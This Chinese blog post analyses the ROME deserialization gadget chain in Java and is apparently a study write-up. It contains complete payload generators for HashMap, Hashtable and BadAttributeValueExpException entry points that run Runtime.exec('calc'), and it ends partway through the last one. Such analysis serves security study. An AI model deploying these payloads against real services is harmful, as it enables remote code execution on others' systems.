ROME 是一个强大的 Java 库,用于解析和生成各种格式的 RSS 和 Atom feeds 。它兼容多种版本的 RSS(包括 RSS 0.90、0.91、0.92、0.93、0.94、1.0 和 2.0 )和 Atom(包括 0.3 和 1.0 )。ROME 提供了一个统一的 API ,简化了处理不同 feed 格式的复杂性。

前置知识概览

Rome 介绍

ROME 是一个强大的 Java 库,用于解析和生成各种格式的 RSS 和 Atom feeds 。它兼容多种版本的 RSS(包括 RSS 0.90、0.91、0.92、0.93、0.94、1.0 和 2.0 )和 Atom(包括 0.3 和 1.0 )。ROME 提供了一个统一的 API ,简化了处理不同 feed 格式的复杂性。

什么是 feed

在 Web 技术中,” feed “ 指的是一种特定的格式,应用于定期更新和发布内容的文件。它允许用户通过订阅机制获取最新的内容更新。Feed 通常用于博客、新闻网站、播客和其他频繁更新的网站,以便用户可以集中阅读和获取最新的内容,而无需逐一访问这些网站。

Feed 的工作原理

  1. 发布:网站创建和发布 feed 文件,这个文件包含最新的内容更新。
  2. 订阅:用户通过 feed 阅读器订阅该 feed 。阅读器会定期检查 feed 文件的更新。
  3. 通知:当 feed 文件更新时,阅读器会下载新的内容并通知用户。

Feed 的常见格式

  1. RSS (Really Simple Syndication):RSS 是一种 XML 格式,用于描述网站内容的更新。RSS 最初由 Netscape 在 1999 年开发,目的是方便内容的聚合和订阅。RSS 有多个版本,最常用的是 RSS 2.0 。
  2. Atom:Atom 是一种 XML 格式,用于描述和同步 Web 内容的更新。它是由 IETF(互联网工程任务组)在 2005 年发布的标准,比 RSS 稍晚推出,目的是解决 RSS 的一些局限性。

环境搭建

我个人本次实验环境为:

  • JDK = 8u71
  • rome = 1.0

导入 rome 依赖:

1
2
3
4
5
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>

ysoserial 利用链分析

Rome 链的核心在于 ToStringBean#toString(String) 方法会调用一个类的所有公共 getter 和 setter 方法,于是我们让他来调用 TemplatesImpl#getOutputProperties() 方法。

TemplatesImpl#getOutputProperties()

TemplatesImpl 的 getOutputProperties() 方法会调用 newTransformer() ,进而造成类加载:

1
2
3
4
5
6
7
8
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

之后的利用链就是 TemplatesImpl 的常规用法:

1
2
3
4
TemplatesImpl#newTransformer()
TemplatesImpl#getTransletInstance()
TemplatesImpl#defineTransletClasses()
TransletClassLoader#defineClass()

BeanIntrospector#getPDs(Class)

BeanIntrospector 的 getPDs 方法会利用反射获取一个类的所有公共 getter 和 setter 方法:

1
2
3
4
5
6
7
8
9
10
private static PropertyDescriptor[] getPDs(Class klass) throws IntrospectionException {
// 利用反射获取传入的 Class 对象的所有 public 方法
Method[] methods = klass.getMethods();
Map getters = getPDs(methods,false);
Map setters = getPDs(methods,true);
List pds = merge(getters,setters);
PropertyDescriptor[] array = new PropertyDescriptor[pds.size()];
pds.toArray(array);
return array;
}

这里选择传入 Templates.class 作为参数,原因是 Templates 接口中只定义了两个方法,且包含我们所需要的 getOutputProperties(),可以排除大量干扰。

BeanIntrospector#getPropertyDescriptors(Class)

BeanIntrospector 的 getPropertyDescriptors 方法调用了 getPDs 方法:

1
2
3
4
5
6
7
8
9
public static synchronized PropertyDescriptor[] getPropertyDescriptors(Class klass) throws IntrospectionException {
PropertyDescriptor[] descriptors = (PropertyDescriptor[]) _introspected.get(klass);
if (descriptors==null) {
// 在这里调用
descriptors = getPDs(klass);
_introspected.put(klass,descriptors);
}
return descriptors;
}

同理,这里应当将 Templates.class 作为参数 klass 的值。

ToStringBean#toString(String)

ToStringBean 的有参 toString 方法调用了 BeanIntrospector 的 getPropertyDescriptors 方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
private String toString(String prefix) {
StringBuffer sb = new StringBuffer(128);
try {
// 在这里调用
PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(_beanClass);
if (pds!=null) {
for (int i=0;i<pds.length;i++) {
String pName = pds[i].getName();
Method pReadMethod = pds[i].getReadMethod();
if (pReadMethod!=null && // ensure it has a getter method
pReadMethod.getDeclaringClass()!=Object.class && // filter Object.class getter methods
pReadMethod.getParameterTypes().length==0) { // filter getter methods that take parameters
// 在这里执行 getPropertyDescriptors 方法
Object value = pReadMethod.invoke(_obj,NO_PARAMS);
printProperty(sb,prefix+"."+pName,value);
}
}
}
}
catch (Exception ex) {
sb.append("\n\nEXCEPTION: Could not complete "+_obj.getClass()+".toString(): "+ex.getMessage()+"\n");
}
return sb.toString();
}

那么这里应当将 _beanClass 设置成 Templates.class 。_beanClass 是 ToStringBean 中定义的属性,在构造方法中被赋值。

Templates 中的两个方法只有 getOutputProperties() 是 getter 方法,所以经过判断后只有 getOutputProperties() 会被执行:

1
Object value = pReadMethod.invoke(_obj,NO_PARAMS);

invoke 方法的第一个参数是执行此方法的对象,所以要将 _obj 设置成 TemplatesImpl 对象,同样可以在构造方法中赋值。

ToStringBean#toString()

ToStringBean 的无参 toString 方法调用了有参 toString 方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public String toString() {
Stack stack = (Stack) PREFIX_TL.get();
String[] tsInfo = (String[]) ((stack.isEmpty()) ? null : stack.peek());
String prefix;
if (tsInfo==null) {
String className = _obj.getClass().getName();
prefix = className.substring(className.lastIndexOf(".")+1);
}
else {
prefix = tsInfo[0];
tsInfo[1] = prefix;
}
// 在这里调用
return toString(prefix);
}

到这里可以先写个小程序验证一下。

写个小程序验证一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class ROME_toString {

public static void main(String[] args) throws Exception {
// 将恶意类的字节码文件存入字节数组
byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\miaoj\\Documents\\Java安全代码实验\\Rome利用链分析\\RomeTest\\target\\classes\\Eval.class"));

// 新建利用链 TemplatesImpl 对象
TemplatesImpl templatesImpl = new TemplatesImpl();
setValue(templatesImpl,"_name","aaa");
setValue(templatesImpl,"_bytecodes",new byte[][] {bytecodes});
setValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

// 在构造方法中将 _beanClass 赋值成 Templates.class, _obj 赋值成 TemplatesImpl 对象
ToStringBean toStringBean = new ToStringBean(Templates.class,templatesImpl);
// 利用 toString 命令执行
toStringBean.toString();
}

// 反射设置属性值的过程可以抽离成一个方法
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}

其中 Eval 类内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class Eval extends AbstractTranslet {
public Eval() {
}

public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}

static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException var1) {
throw new RuntimeException(var1);
}
}
}

运行后成功弹出计算器,验证完成。

EqualsBean#beanHashCode()

EqualsBean 的 beanHashCode() 方法会调用其成员属性 _obj 的 toString() 方法:

1
2
3
public int beanHashCode() {
return _obj.toString().hashCode();
}

只需要将 _obj 设置成 ToStringBean 对象即可。

ObjectBean#hashCode()

ObjectBean 的 hashCode() 方法会调用其成员属性 _equalsBean 的 beanHashCode() 方法:

1
2
3
public int hashCode() {
return _equalsBean.beanHashCode();
}

_equalsBean 在其构造方法中是这样被赋值的:

1
2
3
4
5
public ObjectBean(Class beanClass,Object obj,Set ignoreProperties) {
_equalsBean = new EqualsBean(beanClass,obj);
_toStringBean = new ToStringBean(beanClass,obj);
_cloneableBean = new CloneableBean(obj,ignoreProperties);
}

可以看到这里是 new 了一个 EqualsBean 对象。

HashMap#hash(Object)

HashMap 的 hash 方法会调用 key 的 hashCode() 方法:

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

HashMap#readObject(java.io.ObjectInputStream)

入口,经典永流传。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;

// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
// 在这里调用 hash 方法
putVal(hash(key), key, value, false, false);
}
}
}

至此,这条链子就剖析完成了。

调用栈总结

  1. HashMap#readObject(java.io.ObjectInputStream)
  2. HashMap#hash(Object)
  3. ObjectBean#hashCode()
  4. EqualsBean#beanHashCode()
  5. ToStringBean#toString()
  6. ToStringBean#toString(String)
  7. BeanIntrospector#getPropertyDescriptors(Class)
  8. BeanIntrospector#getPDs(Class)
  9. TemplatesImpl#getOutputProperties()
  10. TemplatesImpl#newTransformer()
  11. TemplatesImpl#getTransletInstance()
  12. TemplatesImpl#defineTransletClasses()
  13. TransletClassLoader#defineClass()

构造 payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class payload {
public static void main(String[] args) throws Exception {
// 将恶意类的字节码文件存入字节数组
byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\miaoj\\Documents\\Java安全代码实验\\Rome利用链分析\\RomeTest\\target\\classes\\Eval.class"));

// 新建利用链 TemplatesImpl 对象
TemplatesImpl templatesImpl = new TemplatesImpl();
setValue(templatesImpl,"_name","aaa");
setValue(templatesImpl,"_bytecodes",new byte[][] {bytecodes});
setValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

// 利用 ToStringBean 的 toString() 方法调用 TemplatesImpl 的 getOutputProperties() 方法
ToStringBean toStringBean = new ToStringBean(Templates.class,templatesImpl);

// 利用 EqualsBean 的 beanHashCode() 方法调用 ToStringBean 的 toString() 方法
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);

// 利用 ObjectBean 的 hashCode() 方法调用 EqualsBean 的 beanHashCode() 方法
// 为防止调用 put 方法时命令执行,先传入一个普通的 ObjectBean
HashMap hashMap0 = new HashMap();
ObjectBean objectBean = new ObjectBean(HashMap.class, hashMap0);

// HashMap 的 hash() 方法会调用 key 的 hashCode() 方法,readObject() 方法会调用 hash() 方法
HashMap hashMap = new HashMap();
hashMap.put(objectBean, "test");

// 反射修改 ObjectBean 的属性值
setValue(objectBean, "_equalsBean", equalsBean);

// 序列化成字节数组
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(hashMap);
oos.flush();
oos.close();

// 反序列化字节数组
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}

// 反射设置属性值的过程可以抽离成一个方法
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}

反射修改 HashMap 的 key 值以优化 payload

在调用 HashMap 的 put 方法时,总是会因为 put 方法要调用 putVal 方法或者 hash 而导致提前命令执行,是否可以通过反射修改 HashMap 的 key 值呢?枫の师傅的文章中给出了解决方案。

HashMap 的 put 方法:

1
2
3
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

HashMap 的 putVal 方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
final V putVal(int hash, K key, V value, boolean onlyIfAbsent,
boolean evict) {
Node<K,V>[] tab; Node<K,V> p; int n, i;
if ((tab = table) == null || (n = tab.length) == 0)
n = (tab = resize()).length;
if ((p = tab[i = (n - 1) & hash]) == null)
tab[i] = newNode(hash, key, value, null);
else {
Node<K,V> e; K k;
if (p.hash == hash &&
((k = p.key) == key || (key != null && key.equals(k))))
e = p;
else if (p instanceof TreeNode)
e = ((TreeNode<K,V>)p).putTreeVal(this, tab, hash, key, value);
else {
for (int binCount = 0; ; ++binCount) {
if ((e = p.next) == null) {
p.next = newNode(hash, key, value, null);
if (binCount >= TREEIFY_THRESHOLD - 1) // -1 for 1st
treeifyBin(tab, hash);
break;
}
if (e.hash == hash &&
((k = e.key) == key || (key != null && key.equals(k))))
break;
p = e;
}
}
if (e != null) { // existing mapping for key
V oldValue = e.value;
if (!onlyIfAbsent || oldValue == null)
e.value = value;
afterNodeAccess(e);
return oldValue;
}
}
++modCount;
if (++size > threshold)
resize();
afterNodeInsertion(evict);
return null;
}

这里用了一些算法,看不懂没关系,总之是进行了一个键值对的存储,这个键值对最终被插入到 table 数组的一个位置中,具体位置取决于计算得到的索引 i 。

table 是 HashMap 的一个属性,来看它的定义:

1
transient Node<K,V>[] table;

这个 Node<K,V> 是 HashMap 中定义的一个静态内部类:

也就是说,我们调用 put 方法存进来的键值对最终是以 Node<K,V> 对象的形式存放在数组里面的。

那么,我们可以用以下方式来修改 key :

// 新建 HashMap 对象,设置初始容量
HashMap<Object,Object> hashMap = new HashMap<>(1);
// 先存入无关数据
hashMap.put("test1", "test2");
// 反射获取 table 属性
Object[] table= (Object[]) getValue(hashMap,"table");
// 获取 table 数组中的 Node 对象
Object entry = table[1];
// 反射修改 Node 对象的 key 属性值
setValue(entry,"key",equalsBean);

其中 getValue 方法内容如下:

public static Object getValue(Object obj, String name) throws Exception{
    Field field = obj.getClass().getDeclaredField(name);
    field.setAccessible(true);
    return field.get(obj);
}

在此基础上,我们可以优化上面的 payload :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class payload {
public static void main(String[] args) throws Exception {
// 将恶意类的字节码文件存入字节数组
byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\miaoj\\Documents\\Java安全代码实验\\Rome利用链分析\\RomeTest\\target\\classes\\Eval.class"));

// 新建利用链 TemplatesImpl 对象
TemplatesImpl templatesImpl = new TemplatesImpl();
setValue(templatesImpl,"_name","aaa");
setValue(templatesImpl,"_bytecodes",new byte[][] {bytecodes});
setValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

// 利用 ToStringBean 的 toString() 方法调用 TemplatesImpl 的 getOutputProperties() 方法
ToStringBean toStringBean = new ToStringBean(Templates.class,templatesImpl);

// 利用 EqualsBean 的 beanHashCode() 方法调用 ToStringBean 的 toString() 方法
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);

// 利用 ObjectBean 的 hashCode() 方法调用 EqualsBean 的 beanHashCode() 方法
ObjectBean objectBean = new ObjectBean(EqualsBean.class, equalsBean);

// HashMap 的 hash() 方法会调用 key 的 hashCode() 方法,readObject() 方法会调用 hash() 方法
HashMap hashMap = new HashMap(1);
// 先存入无关数据
hashMap.put("test1", "test2");
// 反射获取 table 属性
Object[] table= (Object[]) getValue(hashMap,"table");
// 获取 table 数组中的 Node 对象
Object entry = table[1];
// 反射修改 Node 对象的 key 属性值
setValue(entry,"key",objectBean);

// 序列化成字节数组
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(hashMap);
oos.flush();
oos.close();

// 反序列化字节数组
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}

// 反射设置属性值的过程可以抽离成一个方法
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static Object getValue(Object obj, String name) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
}
}

不过值得注意的是,这里获取到的 table 数组其中存储的 Node<K,V> 对象不一定是按顺序来的,不想看算法的话直接调试来看位置:

可以看到,这里键值对是存入了 table 数组中下标为 1 的位置,而且我们初始化时设定容量为 1 ,但是实际的 table 大小为 2 。所以这里建议不管有没有设置初始容量,都要具体情况具体分析,调试起来确定下标后再修改。

使用 Javassist 缩短字节码文件

在某些情况下,网站可能会对反序列化数据的长度有一定限制,所以有必要通过一些手段来缩短 Payload 。

有关 Javassist 的知识参见:基础篇 - Javassist 使用指南

前面我们用来被加载的 Eval 类是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class Eval extends AbstractTranslet {
// 恶意代码放在静态代码块中
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}

// 需要重写父类的两个方法
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

由于 TemplatesImpl#defineTransletClasses() 方法会判断被加载的类是否继承了 AbstractTranslet ,如果没有就抛出异常,所以 Eval 类被迫继承了 AbstractTranslet ,又由于 AbstractTranslet 是个抽象类,继承了它就要重写它的一些方法,否则编译器报错。但其实这两个方法根本就没有用,造成了冗余。

可以用 javassist 来构建这样一个类,用 javassist 来操作字节码,添加静态代码块,继承父类,而不需要实现父类的方法,具体办法如下:

1
2
3
4
5
6
7
8
9
10
11
12
// 获取类池
ClassPool classPool = ClassPool.getDefault();
// 创建一个名为 Error 的类
CtClass error = classPool.makeClass("Error");
// 向 Error 对象中添加静态代码块
CtConstructor constructor = error.makeClassInitializer();
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
// 设置 Error 的父类为 AbstractTranslet
CtClass abstractTranslet = classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
error.setSuperclass(abstractTranslet);
// 将 Error 对象输出成字节数组
byte[] errorBytecode = error.toBytecode();

这样创建的对象中没有重写父类 AbstractTranslet 的两个方法,缩短了字节码长度。以后再也不用手写 Eval 类了。

变种利用链分析

核心依然是 TemplatesImpl#getOutputProperties() 。后面的 payload 统一用 javassist 来创建类。

EqualsBean#hashCode() 链

用 EqualsBean#hashCode() 替换掉 ObjectBean#hashCode() 即可。

EqualsBean#hashCode() 内容如下:

1
2
3
public int hashCode() {
return beanHashCode();
}
payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class EqualsBean_payload {
public static void main(String[] args) throws Exception {
// 获取类池
ClassPool classPool = ClassPool.getDefault();
// 创建一个名为 Error 的类
CtClass error = classPool.makeClass("Error");
// 向 Error 对象中添加静态代码块
CtConstructor constructor = error.makeClassInitializer();
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
// 设置 Error 的父类为 AbstractTranslet
CtClass abstractTranslet = classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
error.setSuperclass(abstractTranslet);
// 将 Error 对象输出成字节数组
byte[] errorBytecode = error.toBytecode();

// 新建利用链 TemplatesImpl 对象
TemplatesImpl templatesImpl = new TemplatesImpl();
setValue(templatesImpl, "_name", "aaa");
setValue(templatesImpl, "_bytecodes", new byte[][]{errorBytecode});
setValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

// 利用 ToStringBean 的 toString() 方法调用 TemplatesImpl 的 getOutputProperties() 方法
ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);

// EqualsBean 的 beanHashCode() 方法会调用其成员属性 _obj 的 toString() 方法
// EqualsBean 的 HashCode() 方法又会调用 beanHashCode() 方法
// 为防止调用 put 方法时提前命令执行,先传入一个普通的 EqualsBean
HashMap hashMapNull = new HashMap();
EqualsBean equalsBean = new EqualsBean(HashMap.class, hashMapNull);

// HashMap 的 hash() 方法会调用 key 的 hashCode() 方法,readObject() 方法会调用 hash() 方法
HashMap hashMap = new HashMap();
hashMap.put(equalsBean, "test");

// 反射修改 ObjectBean 的属性值
setValue(equalsBean, "_obj", toStringBean);

// 序列化成字节数组
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(hashMap);
oos.flush();
oos.close();

// 反序列化字节数组
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}

// 反射设置属性值的过程可以抽离成一个方法
public static void setValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}

HashTable 链

入口类改用 HashTable 即可。

调用链如下:

  1. Hashtable#readObject()
  2. Hashtable#reconstitutionPut()
  3. EqualsBean#hashCode()

Hashtable 的 reconstitutionPut() 方法会调用 key 的 hashCode() 方法:

payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Hashtable;

public class Hashtable_payload {
public static void main(String[] args) throws Exception {
// 获取类池
ClassPool classPool = ClassPool.getDefault();
// 创建一个名为 Error 的类
CtClass error = classPool.makeClass("Error");
// 向 Error 对象中添加静态代码块
CtConstructor constructor = error.makeClassInitializer();
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
// 设置 Error 的父类为 AbstractTranslet
CtClass abstractTranslet = classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
error.setSuperclass(abstractTranslet);
// 将 Error 对象输出成字节数组
byte[] errorBytecode = error.toBytecode();

// 新建利用链 TemplatesImpl 对象
TemplatesImpl templatesImpl = new TemplatesImpl();
setValue(templatesImpl, "_name", "aaa");
setValue(templatesImpl, "_bytecodes", new byte[][]{errorBytecode});
setValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

// 利用 ToStringBean 的 toString() 方法调用 TemplatesImpl 的 getOutputProperties() 方法
ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);

// EqualsBean 的 beanHashCode() 方法会调用其成员属性 _obj 的 toString() 方法
// EqualsBean 的 HashCode() 方法又会调用 beanHashCode() 方法
// 为防止调用 put 方法时提前命令执行,先传入一个普通的 EqualsBean
HashMap hashMapNull = new HashMap();
EqualsBean equalsBean = new EqualsBean(HashMap.class, hashMapNull);

// Hashtable 的 reconstitutionPut() 方法会调用 key 的 hashCode() 方法
// Hashtable 的 readObject() 方法会调用 reconstitutionPut() 方法
Hashtable<Object, Object> hashtable = new Hashtable<>();
hashtable.put(equalsBean, "test");

// 反射修改 ObjectBean 的属性值
setValue(equalsBean, "_obj", toStringBean);

// 序列化成字节数组
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(hashtable);
oos.flush();
oos.close();

// 反序列化字节数组
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}

// 反射设置属性值的过程可以抽离成一个方法
public static void setValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}

BadAttributeValueExpException 链

入口类改用 BadAttributeValueExpException 即可。CC5 链便是将这个类作为入口,不妨再复习一下。

BadAttributeValueExpException 的 readObject 方法调用了 valObj 的 toString 方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
// valObj 是从输入流中读取到的对象的 val 字段值
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
// 这里调用了 valObj 的 toString 方法
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}

valObj 是从输入流中读取到的对象的 val 字段值,即 BadAttributeValueExpException 对象的 val 属性值。

不能用构造方法给 val 赋值,因为构造方法会提前调用 val 的 toString 方法,造成命令执行:

1
2
3
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}

所以这里选择反射修改 val 的值,将 val 的值设置成 ToStringBean 对象即可。

payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.management.BadAttributeValueExpException;
